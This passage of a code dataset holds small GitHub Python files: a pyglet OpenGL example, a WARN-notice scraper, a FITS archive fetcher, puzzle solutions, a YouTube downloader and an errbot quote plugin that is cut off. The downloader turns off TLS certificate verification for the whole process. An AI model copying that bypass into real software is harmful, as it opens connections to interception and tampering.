dataset.load_embedding(dev)\n\n def get_mean(self, emb):\n return emb.mean()\n\n def get_variation(self, emb):\n mean = self.get_mean(emb)\n n = emb.shape[0]\n sigma = (emb - mean) ** 2\n sigma = sigma.sum() / n\n return sigma\n\n def get_std(self, emb):\n sigma = self.get_variation(emb)\n sigma_std = torch.sqrt(sigma)\n return sigma_std\n\n def get_stats(self):\n mean_h = self.get_mean(self.h)\n sigma_h = self.get_variation(self.h)\n sigma_std_h = self.get_std(self.h)\n\n mean_g = self.get_mean(self.g)\n sigma_g = self.get_variation(self.g)\n sigma_std_g = self.get_std(self.g)\n\n return mean_h, sigma_h, sigma_std_h, mean_g, sigma_g, sigma_std_g\n\n def show_tensor(self, emb):\n print(emb.sum(dim=1))\n\n\ndataset = FB15Dataset()\n\nsts = Stats(dataset)\n\nresults = sts.get_stats()\nresults = list(map(lambda x: x.item(), results))\n\nresult_str = ''\nfor res in results:\n line = '%.4f' % res + '\\n'\n result_str += line\n\nprint(result_str)\n\nh, g = dataset.load_embedding()\nsts.show_tensor(h)\n","repo_name":"TraianVidrascu/DGAT","sub_path":"embeddings_anlyse.py","file_name":"embeddings_anlyse.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14241172927","text":"import pandas as pd\nimport clone_projects\nimport check_framework_usage\n\nMIN_COMMITS = 171\nMIN_ISSUES = 1\ndef get_number_projects(language):\n projects_amount = {\n 'C#': 9,\n 'Java': 20,\n 'JavaScript': 38,\n 'PHP': 2,\n 'Python': 16,\n 'Ruby': 13,\n }\n if language in projects_amount:\n return projects_amount[language]\n return 0\n\ndef get_programming_languages():\n return ['C#', 'Java', 'JavaScript', 'PHP', 'Python', 'Ruby']\n\ndf = pd.read_excel('../../data/github_projects_unfiltered.xlsx')\ndf = df.astype({\"owner\": str, \"name\": str})\ndf['project'] = df[['owner','name']].agg('/'.join, axis=1)\n\nselected_projects = pd.DataFrame([], columns=df.columns)\nfor programming_language in get_programming_languages():\n print(f'Checking {programming_language} projects:')\n selected_projects_language = pd.DataFrame([], columns=df.columns)\n checked_projects = pd.DataFrame([], columns=df.columns)\n df_language = df[df['primaryLanguage'] == programming_language]\n while len(selected_projects_language) < get_number_projects(programming_language):\n project = df_language[(~df_language.index.isin(checked_projects.index)) \n & (df_language['commits'] >= MIN_COMMITS)\n & (df_language['issues'] >= MIN_ISSUES)]\n selected_project = project.sample(n=1, random_state = 99)\n project_name = selected_project.iloc[0]['project']\n project_language = selected_project.iloc[0]['primaryLanguage']\n project_cloned = clone_projects.clone_project(project_name)\n if project_cloned:\n uses_feature_toggle= check_framework_usage.uses_framework(project_name, project_language)\n if not uses_feature_toggle:\n selected_projects_language = pd.concat([selected_projects_language, selected_project])\n print(f\"Project {project_name} uses feature toggle framework? {uses_feature_toggle}\")\n else:\n print(f'Could not clone project {project_name}. Getting next one on the list.')\n checked_projects = pd.concat([checked_projects, selected_project])\n selected_projects = pd.concat([selected_projects, selected_projects_language])\nselected_projects.to_csv('../../data/control_projects.csv', index=False)","repo_name":"gems-uff/feature-toggles","sub_path":"scripts/control_group/select_control_projects.py","file_name":"select_control_projects.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12611987811","text":"#!/usr/bin/python\n\nimport collections\nimport fileinput\nimport re\n\ndepends = collections.defaultdict(set)\n\nLINE_RE = re.compile(r'Step (\\w+) must be finished before step (\\w+) can begin\\.$')\n\nfor line in fileinput.input():\n m = LINE_RE.match(line)\n dep, step = m.group(1), m.group(2)\n depends[step].add(dep)\n depends[dep] # ensure exists\n\norder = ''\n\nwhile len(depends) > 0:\n step = min((s for s, b in depends.items() if len(b) == 0))\n del depends[step]\n for b in depends.values():\n b.discard(step)\n order += step\n\nprint(\"Part 1 answer:\", order)\n","repo_name":"c4rlo/adventofcode2018","sub_path":"07/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17681346613","text":"import unittest\nimport json\n\nfrom underworlds.types import Node, MESH\n\nimport underworlds.underworlds_pb2\n\nclass TestCore(unittest.TestCase):\n\n def test_nodes(self):\n\n n = Node()\n\n self.assertIsNotNone(n.id)\n\n n.name = \"test\"\n n.type = MESH\n\n serialized = n.serialize(underworlds.underworlds_pb2.Node)\n\n n2 = Node.deserialize(serialized)\n\n self.assertEqual(n, n2)\n\n\ndef test_suite():\n suite = unittest.TestLoader().loadTestsFromTestCase(TestCore)\n #suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TestDiscriminateCompleteDialog))\n return suite\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"l2tor/underworlds","sub_path":"testing/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12069283161","text":"### 첫 번째 풀이 (오답)\n# def refine_word(word):\n# idx = 0\n# if word[0] == '?':\n# while word[idx] == '?':\n# idx += 1\n# keyword = word[idx:]\n# return keyword[::-1]\n \n# elif word[-1] == '?':\n# idx = -1\n# while word[idx] == '?':\n# idx -= 1\n# keyword = word[:(idx + 1)]\n# return keyword\n# else:\n# return []\n\n# def find_first(words, w, start, end):\n# if start > end:\n# return None\n# mid = (start + end) // 2\n \n# n = len(w)\n# tmp = words[mid][:n]\n# if (mid == 0 or words[mid - 1][:n] < w) and words[mid][:n] == w:\n# return mid\n# elif words[mid][:n] >= w:\n# return find_first(words, w, start, mid - 1)\n# else:\n# return find_first(words, w, mid + 1, end)\n\n# def find_last(words, w, start, end):\n# if start > end:\n# return None\n# mid = (start + end) // 2\n# n = len(w)\n \n# if (mid == len(words) -1 or words[mid + 1][:n] > w) and words[mid][:n]== w:\n# return mid\n# elif words[mid][:n] > w:\n# return find_last(words, w, start, mid -1)\n# else:\n# return find_last(words, w, mid + 1, end)\n\n# def count_value(words, w):\n# first_idx = find_first(words, w, 0, len(words) - 1)\n \n# if first_idx == None:\n# return 0\n\n# last_idx = find_last(words, w, 0, len(words) - 1)\n \n# return last_idx - first_idx + 1\n\n# def solution(words, queries):\n# rev_words = []\n# for i in words:\n# tmp = i[::-1]\n# rev_words.append(tmp)\n# words.sort()\n# rev_words.sort()\n# answer = []\n# for w in queries:\n# keyword = refine_word(w)\n# if w[-1] == '?':\n# answer.append(count_value(words, keyword))\n# else:\n# answer.append(count_value(rev_words, keyword))\n# return answer\n\n# words = [\"frodo\", \"front\", \"frost\", \"frozen\", \"frame\", \"kakao\"]\n# queries = [\"fro??\", \"????o\", \"fr???\", \"fro???\", \"pro?\"]\n\n# print(solution(words, queries))\n\n### 동빈나 풀이\nfrom bisect import bisect_left, bisect_right\n\ndef count_by_range(a, left_value, right_value):\n right_index = bisect_right(a, right_value)\n left_index = bisect_left(a, left_value)\n return right_index - left_index\n\ndef solution(words, queries):\n answer = []\n array = [[] for _ in range(10001)]\n reversed_array = [[] for _ in range(10001)]\n for word in words:\n array[len(word)].append(word)\n reversed_array[len(word)].append(word[::-1])\n for i in range(10001):\n array[i].sort()\n reversed_array[i].sort()\n \n for q in queries:\n if q[0] !='?':\n res = count_by_range(array[len(q)], q.replace('?', 'a'), q.replace('?', 'z'))\n else:\n res = count_by_range(reversed_array[len(q)], q[::-1].replace('?','a'), q[::-1].replace('?','z'))\n answer.append(res)\n \n return answer","repo_name":"SooonChang/ps-solutions","sub_path":"dongbin_na/Part3/ch15 binary_search/q30/q30.py","file_name":"q30.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18190571746","text":"# Get FITS file from REM archives as byte string stream\n\n\"\"\"Routines for fetching FITS files\"\"\"\n\nimport io\nimport pycurl\n\n\nclass RemGetError(Exception):\n \"\"\"Throw this exception if we have trouble\"\"\"\n\n\nroot_url = 'http://ross.iasfbo.inaf.it'\n\n\ndef get_rest(fullname):\n \"\"\"Do the result of the job after constructinve the full name\"\"\"\n\n buffer = io.BytesIO()\n c = pycurl.Curl()\n c.setopt(c.URL, root_url + fullname)\n c.setopt(c.WRITEDATA, buffer)\n c.perform()\n rcode = c.getinfo(c.RESPONSE_CODE)\n if rcode != 200:\n raise RemGetError(\"Error %s fetching FITS file\" % rcode)\n c.close()\n body = buffer.getvalue()\n if len(body) < 10000 or body[0:6] == b'':\n raise RemGetError(\"FITS file not found \" + fullname)\n return body\n\n\ndef get_obs(fname, remir=False):\n \"\"\"Get observation file as byte string\"\"\"\n\n if remir:\n fullfname = \"Remir/\" + fname\n else:\n fullfname = \"Ross/\" + fname\n\n return get_rest(\"/RossDB/fits_retrieve.php?ffile=/\" + fullfname)\n\n\ndef get_iforb(fname):\n \"\"\"Get individual flat or bias file\"\"\"\n\n return get_rest(\"/REMDBdev/fits_retrieve.php?ffile=/Ross/\" + fname)\n\n\ndef get_saved_fits(dbcurs, ind):\n \"\"\"Get FITS file when we've saved a copy\"\"\"\n if ind == 0:\n raise RemGetError(\"Attempting load FITS with zero ind\")\n dbcurs.execute(\"SELECT fitsgz FROM fitsfile WHERE ind=%d\" % ind)\n rows = dbcurs.fetchall()\n if len(rows) == 0:\n raise RemGetError(\"Cannot find fits file id \" + str(id))\n return rows[0][0]\n\n\ndef get_obs_fits(dbcurs, obsind):\n \"\"\"Get FITS file from either our copy or remote\"\"\"\n dbcurs.execute(\"SELECT dithID,ind,ffname FROM obsinf WHERE obsind=%d\" % obsind)\n rows = dbcurs.fetchall()\n if len(rows) == 0:\n raise RemGetError(\"Unable to locate obs ind %d\" % obsind)\n dith, ind, ffname = rows[0]\n if ind != 0:\n return get_saved_fits(dbcurs, ind)\n return get_obs(ffname, dith != 0)\n\n\ndef get_iforb_fits(dbcurs, iforbind):\n \"\"\"Get FITS file for bias or flat from either our copy or remote\"\"\"\n dbcurs.execute(\"SELECT ind,ffname FROM iforbinf WHERE iforbind=%d\" % iforbind)\n rows = dbcurs.fetchall()\n if len(rows) == 0:\n raise RemGetError(\"Unable to locate iforb ind %d\" % iforbind)\n ind, ffname = rows[0]\n if ind != 0:\n return get_saved_fits(dbcurs, ind)\n return get_iforb(ffname)\n\n\ndef set_rejection(dbcurs, obsind, reason, table=\"obsinf\", column=\"obsind\"):\n \"\"\"Set rejection reason for FITS file\"\"\"\n dbcurs.execute(\"UPDATE %s \" % table + \"SET rejreason=%s\" + \" WHERE %s=%d\" % (column, obsind), reason)\n dbcurs.connection.commit()\n\n\ndef delete_fits(dbcurs, ind):\n \"\"\"Delete all references to FITS from database\"\"\"\n dbcurs.execute(\"DELETE FROM fitsfile WHERE ind=%d\" % ind)\n dbcurs.execute(\"UPDATE obsinf SET ind=0 WHERE ind=%d\" % ind)\n dbcurs.execute(\"UPDATE iforbinf SET ind=0 WHERE ind=%d\" % ind)\n dbcurs.connection.commit()\n","repo_name":"JohnMCollins/python-astro-library","sub_path":"remget.py","file_name":"remget.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26946769319","text":"from pyglet.gl import *\n\n# Direct OpenGL commands to this window.\nwindow = pyglet.window.Window(resizable=True)\n\n@window.event\ndef on_draw():\n # This is an immediate mode example, kinda old-school\n # http://pyglet.readthedocs.io/en/latest/programming_guide/gl.html#using-opengl\n \n glClear(GL_COLOR_BUFFER_BIT)\n glLoadIdentity()\n glBegin(GL_TRIANGLES)\n glVertex2f(0, 0)\n glVertex2f(window.width, 0)\n glVertex2f(window.width, window.height)\n glEnd()\n\n@window.event\ndef on_resize(width, height):\n # Stretch the viewport to match the window\n # The stretching only occurs due to the immediate mode \n # using the window properties to set the triangle dimensions\n # http://pyglet.readthedocs.io/en/latest/programming_guide/gl.html#resizing-the-window\n glViewport(0, 0, width, height)\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n\n glOrtho(0, width, 0, height, -1, 1)\n # Defining a non-orthographic perspective:\n # gluPerspective(65, width / float(height), .1, 1000)\n\n glMatrixMode(GL_MODELVIEW)\n return pyglet.event.EVENT_HANDLED\n\npyglet.app.run()","repo_name":"MichaelReel/pyxamples","sub_path":"DrawingOpenGL/02_gl_interface/01_immediate_mode.py","file_name":"01_immediate_mode.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35118123138","text":"import torch\nfrom .dataset import FlowData, FlowDebug\n\n\nclass FlowDataLoader(torch.utils.data.DataLoader):\n \"\"\"\n Dataloader for flowdata. Basically the standard pytorch dataloader, the action happens in the FlowData\n Dataset class.\n \"\"\"\n\n def __init__(self, **kwargs):\n dataset = FlowData(**kwargs)\n\n if kwargs['data_type'] != 'train':\n kwargs['batch_size'] = 1\n kwargs['shuffle'] = False\n\n super().__init__(dataset=dataset, batch_size=kwargs['batch_size'], shuffle=kwargs['shuffle'],\n num_workers=kwargs['num_workers'])\n\n\nclass FlowDebugLoader(torch.utils.data.DataLoader):\n def __init__(self, **kwargs):\n dataset = FlowDebug(**kwargs)\n\n if kwargs['data_type'] != 'train':\n kwargs['batch_size'] = 1\n kwargs['shuffle'] = False\n\n super().__init__(dataset=dataset, batch_size=kwargs['batch_size'], shuffle=kwargs['shuffle'],\n num_workers=kwargs['num_workers'])\n","repo_name":"mwoedlinger/flowformer","sub_path":"flowformer/data_loader/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"15195146552","text":"import pandas as pd\nimport numpy as np\n\nfrom pystats_utils.test.categorical_comparison import PearsonChiSquareTest\n\nfrom pystats_utils.data_operations import reduceDataframe\n\nclass ExtendedContingencyTable:\n\n def __init__(self,\n dataframe: pd.DataFrame = pd.DataFrame(),\n classVariable: str = \"\",\n targetVariable: str = \"\",\n cohortVariable: str = \"\"):\n\n self.dataframe = dataframe\n\n self.classVariable = classVariable\n\n self.targetVariable = targetVariable\n\n self.cohortVariable = cohortVariable\n\n\n\n def run(self):\n pass\n\n startColumns = {f\"Cohort-{self.cohortVariable}\" : pd.Series(dtype = \"str\"),\n \"All\" : pd.Series(dtype = str)}\n\n groups = sorted(list(set(list(self.dataframe[self.classVariable].dropna()))))\n\n\n groupColumns = dict([(f\"{self.classVariable} {group}\", pd.Series(dtype = \"str\")) for group in groups])\n\n endColumns = {\"P value\" : pd.Series(dtype = \"str\")}\n\n header = {}\n header.update(startColumns)\n header.update(groupColumns)\n header.update(endColumns)\n\n table = pd.DataFrame(header)\n\n template = dict([(key, []) for key in header])\n for cohort in [\"All\"] + sorted(list(set(self.dataframe[self.cohortVariable].dropna()))):\n\n template[f\"Cohort-{self.cohortVariable}\"].append(cohort)\n\n cohortDataframe = reduceDataframe(self.dataframe,\n self.classVariable,\n self.targetVariable,\n self.cohortVariable)\n\n cohortDataframe[self.targetVariable] = pd.get_dummies(cohortDataframe[self.targetVariable],\n drop_first = True)\n\n if cohort == \"All\": pass\n else: cohortDataframe = cohortDataframe[cohortDataframe[self.cohortVariable] == cohort]\n\n template[\"All\"].append(\"{}/{} ({:.2f})\".format(np.sum(cohortDataframe[self.targetVariable]),\n len(cohortDataframe),\n np.sum(cohortDataframe[self.targetVariable]) /\\\n len(cohortDataframe) * 100))\n\n for group in groups:\n\n groupDataframe = cohortDataframe[cohortDataframe[self.classVariable] == group]\n\n template[f\"{self.classVariable} {group}\"].append(\"{}/{} ({:.2f})\".format(np.sum(groupDataframe[self.targetVariable]),\n len(groupDataframe),\n np.sum(groupDataframe[self.targetVariable]) /\\\n len(groupDataframe) * 100))\n\n cohortDataframe[self.targetVariable] = cohortDataframe[self.targetVariable].replace(0, \"no\").replace(1, \"yes\")\n\n result = PearsonChiSquareTest(dataframe = cohortDataframe,\n classVariable = self.classVariable,\n targetVariable = self.targetVariable).run()\n\n template[\"P value\"].append(\"{:.3f}\".format(result.lowerPvalue))\n\n table = pd.concat([table, pd.DataFrame(template)])\n\n return table","repo_name":"JuantonioMS/pystats_utils_base","sub_path":"pystats_utils/pipeline/extended_contingency_table.py","file_name":"extended_contingency_table.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13030412087","text":"'''\nID: philoin1\nLANG: PYTHON3\nTASK: spin\n'''\nf = open('spin.in', 'r')\nw = open('spin.out', 'w')\ndata = f.read().split('\\n')\nR = [0] * 5\nSRT = [[] for _ in range(5)]\nRNG = [[] for _ in range(5)]\nfor i in range(5):\n ITER = iter(data[i].split())\n R[i] = int(next(ITER))\n num = int(next(ITER))\n for _ in range(num):\n SRT[i].append(int(next(ITER)))\n RNG[i].append(int(next(ITER)))\ndef UNION(ALL):\n ALL.sort(key=lambda t:t[0])\n last = -1\n res = [ALL[0]]\n for [start, end] in ALL[1:]:\n if start < res[-1][-1]:\n res[-1][-1] = min(end,res[-1][-1])\n else:\n res.append([start,end])\n return res\ndef INTERSECT(A,B):\n res = []\n i = j = 0\n while i < len(A) and j < len(B):\n small = [1,0] if A[i][1] < B[j][1] else [0,1]\n tmp = [max(A[i][0],B[j][0]),min(A[i][1],B[j][1])]\n if tmp[1] > tmp[0]:\n res.append(tmp)\n i += small[0]\n j += small[1]\n return res, bool(res)\ndef isvalid():\n RANGE = [[0,360+1]]\n for i in range(5):\n SELF = []\n for j in range(len(SRT[i])):\n START = SRT[i][j]\n END = SRT[i][j] + RNG[i][j]\n if END >= 360:\n END %= 360\n SELF.append([0,END+1])\n SELF.append([START,361])\n else:\n SELF.append([START,END+1])\n SELF = UNION(SELF)\n RANGE, res = INTERSECT(RANGE,SELF)\n if not res:\n return False\n return True\ncnt = 0\nwhile True:\n if isvalid():\n break\n else:\n cnt += 1\n if cnt == 360:\n break\n for i in range(5):\n for j in range(len(SRT[i])):\n SRT[i][j] += R[i]\n SRT[i][j] %= 360\nif cnt != 360:\n w.write(\"%d\\n\"%cnt)\nelse:\n w.write(\"none\\n\")\n ","repo_name":"philoinovsky/USACO-Traning-Python3-Solution","sub_path":"chapter3/section3.2/spin.py","file_name":"spin.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"29664295933","text":"import datetime\r\nimport logging\r\nfrom pathlib import Path\r\n\r\nfrom bs4 import BeautifulSoup\r\n\r\nfrom .. import utils\r\n\r\n__authors__ = [\"Ash1R\", \"stucka\"]\r\n__tags__ = [\"html\"]\r\n__source__ = {\r\n \"name\": \"Workforce Development Hawaii\",\r\n \"url\": \"https://labor.hawaii.gov/wdc/real-time-warn-updates/\",\r\n}\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\ndef scrape(\r\n data_dir: Path = utils.WARN_DATA_DIR,\r\n cache_dir: Path = utils.WARN_CACHE_DIR,\r\n) -> Path:\r\n \"\"\"\r\n Scrape data from Hawaii.\r\n\r\n Keyword arguments:\r\n data_dir -- the Path were the result will be saved (default WARN_DATA_DIR)\r\n cache_dir -- the Path where results can be cached (default WARN_CACHE_DIR)\r\n Returns: the Path where the file is written\r\n \"\"\"\r\n firstpage = utils.get_url(\"https://labor.hawaii.gov/wdc/real-time-warn-updates/\")\r\n soup = BeautifulSoup(firstpage.text, features=\"html5lib\")\r\n pagesection = soup.select(\"div.primary-content\")[0]\r\n subpageurls = []\r\n for atag in pagesection.find_all(\"a\"):\r\n href = atag[\"href\"]\r\n if href.endswith(\"/\"):\r\n href = href[:-1]\r\n subpageurls.append(href)\r\n\r\n headers = [\"Company\", \"Date\", \"PDF url\", \"location\", \"jobs\"]\r\n data = [headers]\r\n # lastdateseen = \"2099-12-31\"\r\n\r\n for subpageurl in reversed(subpageurls):\r\n # Conditionally here, we want to check and see if we have the old cached files, or if the year is current or previous.\r\n # Only need to download if it's current or previous year.\r\n # But do we care enough to implement right now?\r\n\r\n logger.debug(f\"Parsing page {subpageurl}\")\r\n page = utils.get_url(subpageurl)\r\n soup = BeautifulSoup(page.text, features=\"html5lib\")\r\n pageyear = subpageurl.split(\"/\")[-1][:4]\r\n tags = soup.select(\"p a[href*=pdf]\")\r\n p_tags = [i.parent.get_text().replace(\"\\xa0\", \" \").split(\"\\n\") for i in tags]\r\n clean_p_tags = [j for i in p_tags for j in i]\r\n\r\n dates = [k.split(\"–\")[0].strip() for k in clean_p_tags]\r\n for i in range(len(dates)):\r\n try:\r\n tempdate = dates[i].split(pageyear)[0].strip() + f\" {pageyear}\"\r\n parsed_date = datetime.datetime.strptime(\r\n tempdate, \"%B %d, %Y\"\r\n ).strftime(\"%Y-%m-%d\")\r\n dates[i] = parsed_date\r\n # lastdateseen = parsed_date\r\n\r\n # Disabling amendment automation to shift fixes into warn-transformer instead.\r\n # If this needs to come back, uncomment the lastseendate references\r\n # then rebuild the below section as an else\r\n except ValueError:\r\n logger.debug(f\"Date error: {dates[i]}, leaving intact\")\r\n # if \"*\" in dates[i]:\r\n # logger.debug(\r\n # f\"Date error: {dates[i]} as apparent amendment; saving as {lastdateseen}\"\r\n # )\r\n # dates[i] = lastdateseen\r\n # else:\r\n\r\n for i in range(len(tags)):\r\n row = []\r\n url = tags[i].get(\"href\")\r\n row.append(tags[i].get_text())\r\n\r\n row.append(dates[i])\r\n\r\n row.append(url)\r\n row.append(None) # location\r\n row.append(None) # jobs\r\n data.append(row)\r\n\r\n output_csv = data_dir / \"hi.csv\"\r\n utils.write_rows_to_csv(output_csv, data)\r\n return output_csv\r\n\r\n\r\nif __name__ == \"__main__\":\r\n scrape()\r\n","repo_name":"biglocalnews/warn-scraper","sub_path":"warn/scrapers/hi.py","file_name":"hi.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"37"} +{"seq_id":"3089586866","text":"from genie.harness.main import gRun\nimport yaml\nimport argparse\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--config_file',\n dest='features_datafile',\n default='pts_features.yaml')\n parser.add_argument('--after',\n dest='after',\n action='store_true')\n parser.set_defaults(after=False)\n\n args, unknown = parser.parse_known_args()\n # common definition of features to profile\n with open(args.features_datafile, 'r') as f:\n features = yaml.safe_load(f)\n features = features['features']\n\n if args.after:\n\n gRun(mapping_datafile='mapping_datafile.yaml',\n pts_datafile='pts_datafile.yaml',\n pts_features=features,\n subsection_datafile='subsection_datafile.yaml',\n pts_golden_config='pts')\n else:\n\n gRun(mapping_datafile='mapping_datafile.yaml',\n pts_datafile='pts_datafile.yaml',\n pts_features=features,\n subsection_datafile='subsection_datafile.yaml')\n","repo_name":"CiscoTestAutomation/solutions_examples","sub_path":"profile_custom/network_ops_profile.py","file_name":"network_ops_profile.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"37"} +{"seq_id":"74805203307","text":"# pip3 install pytube\n# pip3 install --upgrade certifi\n\n\nimport pytube\nimport ssl\nssl._create_default_https_context = ssl._create_unverified_context\n\nlink = input(\"Enter a YouTube video's URL: \")\ntry:\n yt = pytube.YouTube(link)\n stream = yt.streams.filter(progressive=True, file_extension='mp4').order_by('resolution').desc().first()\n stream.download()\n print(f\"Downloaded {link}\")\nexcept pytube.exceptions.RegexMatchError:\n print(\"Invalid YouTube video URL\")\nexcept pytube.exceptions.VideoUnavailable:\n print(\"YouTube video is unavailable\")\nexcept pytube.exceptions.PytubeError as e:\n print(f\"An error occurred: {str(e)}\")\n\n\n# https://youtu.be/dQw4w9WgXcQ\n","repo_name":"dude123r24/Python","sub_path":"youtube_video_downloader.py","file_name":"youtube_video_downloader.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27528839498","text":"import pyttsx3\ntext = 'How are you?'\nEngine = pyttsx3.init()\nEngine.setProperty('rate', 125)\nEngine.say(text)\nEngine.runAndWait()\n# from gtts import gTTS\n# from playsound import playsound\n# import os\n# userText = input('Enter the text: ')\n# language = 'en'\n# sound = gTTS(text = userText, lang = language, slow = False)\n# sound.save('textToSound.mp3')\n# playsound('textToSound.mp3')","repo_name":"Ramcharanprc/Python_programs","sub_path":"TextToSpeech.py","file_name":"TextToSpeech.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43257412000","text":"from __future__ import (unicode_literals, print_function,\n absolute_import, division)\n\nimport locale\n\nfrom pyramid.i18n import (\n ITranslationDirectories,\n make_localizer\n)\nfrom babel import Locale\nfrom babel.numbers import (\n format_currency,\n format_decimal\n)\n\n\ndef sys_localizer(reg):\n cur_locale = reg.settings.get('pyramid.default_locale_name', 'en')\n sys_locale = locale.getlocale()[0]\n\n if sys_locale:\n new_locale = Locale.negotiate(\n (sys_locale,),\n reg.settings.get('pyramid.available_languages', '').split())\n if new_locale:\n cur_locale = str(new_locale)\n else:\n cur_locale = 'en'\n\n tdirs = reg.queryUtility(ITranslationDirectories, default=[])\n return make_localizer(cur_locale, tdirs)\n\n\ndef money_format(req, amount, code=None, prefix=None, suffix=None,\n currency=None):\n if amount is None:\n return ''\n\n cfg = req.registry.settings\n loc = req.current_locale\n\n if currency is not None:\n code = currency.code\n prefix = currency.prefix\n suffix = currency.suffix\n\n if code is None:\n code = cfg.get('netprofile.currency.default')\n\n if code is None:\n formatted = format_decimal(amount, locale=loc)\n elif code in loc.currencies:\n formatted = format_currency(amount, code, locale=loc)\n else:\n stdloc = req.locales[cfg.get('pyramid.default_locale_name', 'en')]\n if code in stdloc.currencies:\n formatted = format_currency(amount, code, locale=stdloc)\n else:\n formatted = format_decimal(amount, locale=loc)\n\n ret = []\n if prefix:\n ret.append(prefix)\n ret.append(formatted)\n if suffix:\n ret.append(suffix)\n return '\\xa0'.join(ret)\n\n\ndef money_format_long(req, amount, code=None, currency=None):\n if amount is None:\n return ''\n\n cfg = req.registry.settings\n loc = req.current_locale\n\n if currency is not None:\n code = currency.code\n\n if code is None:\n code = cfg.get('netprofile.currency.default')\n\n if code is not None:\n if code in loc.currencies:\n return format_currency(amount, code, locale=loc,\n format='0.######## ¤¤¤',\n currency_digits=False)\n else:\n stdloc = req.locales[cfg.get('pyramid.default_locale_name', 'en')]\n if code in stdloc.currencies:\n return format_currency(amount, code, locale=stdloc,\n format='0.######## ¤¤¤',\n currency_digits=False)\n\n return format_decimal(amount, locale=loc, format='0.########')\n","repo_name":"unikmhz/npui","sub_path":"netprofile/netprofile/common/locale.py","file_name":"locale.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"44102042411","text":"#!/usr/bin/python3.6\n\nimport sys\nfrom PyQt5.QtWidgets import QApplication, QDialog\nfrom GUI.MainWindow import MainWindow\nfrom PyQt5 import QtCore\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n\n # Translation setting\n language = QtCore.QLocale.system().name()\n loc = language.split('_')[0]\n\n translator = QtCore.QTranslator()\n translator.load(\"mosaic_\" + loc)\n app.installTranslator(translator)\n\n w = MainWindow(app)\n w.show()\n\n sys.exit(app.exec_())\n","repo_name":"anliec/py-mosaic","sub_path":"mosaic.py","file_name":"mosaic.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72204175467","text":"import logging\nimport os\nimport sqlite3\nfrom errbot import botcmd, BotPlugin\nimport random\n\n\nclass Quote(BotPlugin):\n \"\"\"Sqlite based quote storage for chat channels\"\"\"\n\n def activate(self):\n QUOTE_DB = self.plugin_dir + os.sep + 'quote.sqlite'\n if not os.path.exists(QUOTE_DB):\n logging.warning('no database found, creating a new one')\n open(QUOTE_DB, 'a').close()\n\n self.con = None\n try:\n self.con = sqlite3.connect(QUOTE_DB, check_same_thread=False)\n self.cur = self.con.cursor()\n self.cur.execute(\n 'create table if not exists quotes \\\n (id integer primary key, \\\n quote text not null, \\\n author text default \\'unknown\\', \\\n date text default CURRENT_DATE) ;')\n self.con.commit()\n except sqlite3.Error as e:\n print(e)\n super(Quote, self).activate()\n\n def deactivate(self):\n self.con.close()\n super(Quote, self).deactivate()\n\n @staticmethod\n def respond_random():\n responders = ['Sure.', 'Alright.',\n 'No problem.', 'Will do.', 'Okay.', 'Logen.']\n return random.choice(responders)\n\n @botcmd()\n def quote(self, msg, args):\n \"\"\" Returns random quote, usage: !quote\"\"\"\n self.cur.execute(\"select * from quotes order by random() limit 1\")\n quote = self.cur.fetchone()\n if quote is not None:\n return '[%d] *%s*' % (quote[0], quote[1])\n else:\n return 'Nothing added yet'\n\n @botcmd()\n def quote_details(self, msg, args):\n \"\"\" Returns further details about a quote, usage !quote details \"\"\"\n if args.isdigit() == False:\n return 'Usage = !quote details '\n self.cur.execute(\"select * from quotes where id = ?\", (args,))\n quote = self.cur.fetchone()\n if quote is not None:\n return '[%d] *%s*, Author: %s Date: %s' % (quote[0], quote[1], quote[2], quote[3])\n else:\n return 'No matches with id %s' % args\n\n @botcmd()\n def quote_find(self, msg, args):\n \"\"\"Searches for strings, usage: !quote find \"\"\"\n if args == '':\n return \"Usage: !quote find \"\n\n self.cur.execute(\n \"select * from quotes where quote like ? order by random() limit 1\", ('%' + args + '%',))\n quote = self.cur.fetchone()\n if quote is None:\n return 